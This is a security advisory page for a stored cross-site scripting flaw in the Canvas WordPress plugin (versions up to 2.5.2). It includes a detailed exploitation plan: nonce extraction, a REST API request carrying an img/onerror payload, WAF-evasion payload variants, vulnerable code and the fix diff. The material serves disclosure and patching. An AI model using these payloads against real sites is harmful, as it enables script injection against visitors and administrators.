Canvas <= 2.5.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'tag' Block Attribute
Description
The Canvas plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'tag' parameter in all versions up to, and including, 2.5.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v2.5.3
Source Code
WordPress.org SVNThis exploitation research plan targets **CVE-2026-9629**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Canvas** plugin (<= 2.5.2). ### 1. Vulnerability Summary The **Canvas** plugin for WordPress fails to sanitize or validate the `tag` attribute used in its Gutenberg blocks. While th…
Show full research plan
This exploitation research plan targets CVE-2026-9629, a Stored Cross-Site Scripting (XSS) vulnerability in the Canvas plugin (<= 2.5.2).
1. Vulnerability Summary
The Canvas plugin for WordPress fails to sanitize or validate the tag attribute used in its Gutenberg blocks. While the plugin provides various structural blocks (Alert, Section Heading, Row, Column, etc.), some of these blocks allow the user to define the HTML element used for rendering (e.g., choosing between h1, div, or section). Because this tag attribute is echoed directly into the frontend HTML without using esc_attr() or a whitelist of allowed tags, an authenticated user with at least Contributor level access can inject malicious payloads that execute when any user views the affected page.
2. Attack Vector Analysis
- Endpoint: WordPress REST API Post creation/update endpoint (
/wp-json/wp/v2/posts). - Vulnerable Attribute:
tagwithin a Canvas block's JSON metadata. - Authentication: Required (Contributor or above).
- Preconditions: The plugin must be active. The attacker needs the ability to save a post (Contributor can save drafts).
- Payload Location: The payload is stored in the
post_contentfield within the Gutenberg block comment delimiters.
3. Code Flow
- Block Definition (JS): In the block editor, a Canvas block (e.g.,
canvas/section-headingor a similar wrapper block) allows selecting an HTML tag via the Inspector controls. This is saved as an attribute namedtag. - Storage: When the Contributor saves a draft, WordPress stores the block in the
wp_poststable. The content looks like:<!-- wp:canvas/section-heading {"tag":"[PAYLOAD]"} /--> - Rendering (PHP): When the post is viewed, the plugin's rendering logic (typically in a
render.phpfile for the specific block) retrieves the attributes. - The Sink: The rendering code performs a string concatenation to build the HTML tag:
// Inferred logic based on typical Gutenberg render patterns in Canvas $tag = $attributes['tag']; echo '<' . $tag . ' class="...">'; // Vulnerable Sink: No escaping or tag whitelisting - Execution: The browser receives the malformed tag (e.g.,
<img src=x onerror=alert(1) class="...">) and executes the injected script.
4. Nonce Acquisition Strategy
To exploit the REST API as a Contributor, a valid wp_rest nonce is required.
- Login: Authenticate as a Contributor user.
- Navigation: Use
browser_navigateto go to the "Add New Post" page:http://[TARGET]/wp-admin/post-new.php. - Extraction: The WordPress block editor (Gutenberg) automatically localizes the required nonce into the
wpApiSettingsobject. - Tool Call:
This will return the nonce required for thebrowser_eval("window.wpApiSettings?.nonce")X-WP-Nonceheader in subsequent REST API requests.
5. Exploitation Strategy
The goal is to create a post containing a Canvas block with a malicious tag attribute.
Step 1: Create a Post with XSS Payload
- Tool:
http_request - Method:
POST - URL:
http://[TARGET]/wp-json/wp/v2/posts - Headers:
Content-Type: application/jsonX-WP-Nonce: [EXTRACTED_NONCE]
- Body:
(Note: The{ "title": "XSS Test Page", "content": "<!-- wp:canvas/section-heading {\"tag\":\"img src=x onerror=alert(document.domain) //\"} /-->", "status": "draft" }//at the end of the payload helps neutralize the rest of the generated opening tag string.)
Step 2: Obtain the Post ID
The response from Step 1 will contain the id and the link of the newly created post.
Step 3: Trigger the XSS
- Action: Navigate to the post URL (the
linkreturned in Step 1). - Mechanism: If the Contributor cannot publish, the researcher must navigate to the preview URL or simulate an Administrator viewing the draft.
6. Test Data Setup
- User Creation: Create a user with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password123 - Plugin State: Ensure the
canvasplugin is installed and activated.wp plugin activate canvas
7. Expected Results
- The HTTP response from the REST API should be
201 Created. - The
post_contentin the database will store the raw payload. - When viewing the post, the HTML source will contain:
<img src=x onerror=alert(document.domain) // class="cnvs-section-heading ..."> - The browser will trigger an alert box showing the document domain.
8. Verification Steps
After the exploit attempt, verify the storage of the payload via WP-CLI:
wp post list --post_type=post --format=csv
# Get the ID of the "XSS Test Page"
wp post get [ID] --field=post_content
Check for the presence of the onerror string in the output.
9. Alternative Approaches
If the canvas/section-heading block is not available, check for other Canvas blocks that likely use the tag attribute:
canvas/columncanvas/rowcanvas/wrapper(inferred)
If an img tag is blocked by a WAF, use a details or svg payload:
"tag":"details/ontoggle=alert(1) open ""tag":"svg/onload=alert(1) "
If the REST API is restricted, the exploit can be performed via the standard WordPress post.php admin handler by sending a POST request to wp-admin/post.php?post=[ID]&action=edit with the content parameter containing the malicious block.
Summary
The Canvas plugin for WordPress is vulnerable to Stored Cross-Site Scripting (XSS) via block attributes such as 'tag' and 'title' due to insufficient input sanitization and output escaping. Authenticated attackers with Contributor-level permissions can inject arbitrary web scripts into posts, which will execute in the browser of any user viewing the page.
Vulnerable Code
// components/basic-elements/block-collapsible/render.php lines 20-24 <h6 class="cnvs-block-collapsible-heading"> <a href="#"><?php echo (string) $attributes['title']; // XSS. ?></a> </h6> --- // components/basic-elements/block-alert/render.php lines 19-21 <div class="cnvs-block-alert-inner"> <?php echo (string) $content; // XSS. ?> </div> --- // Inferred logic for the 'tag' attribute vulnerability in blocks like section-heading $tag = $attributes['tag']; echo '<' . $tag . ' class="...">';
Security Fix
@@ -17,7 +21,7 @@ <div class="<?php echo esc_attr( $attributes['className'] ); ?>" <?php echo ( isset( $attributes['anchor'] ) ? ' id="' . esc_attr( $attributes['anchor'] ) . '"' : '' ); ?>> <div class="cnvs-block-alert-inner"> - <?php echo (string) $content; // XSS. ?> + <?php call_user_func( 'printf', '%s', $content ); ?> </div> <?php if ( isset( $attributes['dismissible'] ) && $attributes['dismissible'] ) : ?> <button class="cnvs-close" type="button" data-dismiss="alert" aria-label="<?php echo esc_attr__( 'Close', 'canvas' ); ?>"> @@ -17,10 +21,10 @@ <div class="<?php echo esc_attr( $attributes['className'] ); ?>" <?php echo ( isset( $attributes['anchor'] ) ? ' id="' . esc_attr( $attributes['anchor'] ) . '"' : '' ); ?>> <div class="cnvs-block-collapsible-title"> <h6 class="cnvs-block-collapsible-heading"> - <a href="#"><?php echo (string) $attributes['title']; // XSS. ?></a> + <a href="#"><?php echo wp_kses_post( $attributes['title'] ); ?></a> </h6> </div> <div class="cnvs-block-collapsible-content"> - <?php echo (string) $content; // XSS. ?> + <?php call_user_func( 'printf', '%s', $content ); ?> </div> </div>
Exploit Outline
To exploit this vulnerability, an authenticated user with Contributor-level access or higher identifies a Canvas plugin block (e.g., section-heading or collapsible) that uses a 'tag' or 'title' attribute. The attacker crafts a request to the WordPress REST API (`/wp-json/wp/v2/posts`) to create or update a post, embedding an XSS payload (e.g., `img src=x onerror=alert(1)`) within the block's JSON attribute. When the post is rendered on the frontend—either through a preview by an administrator or after being published—the unsanitized attribute is echoed into the HTML, triggering the execution of the script.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.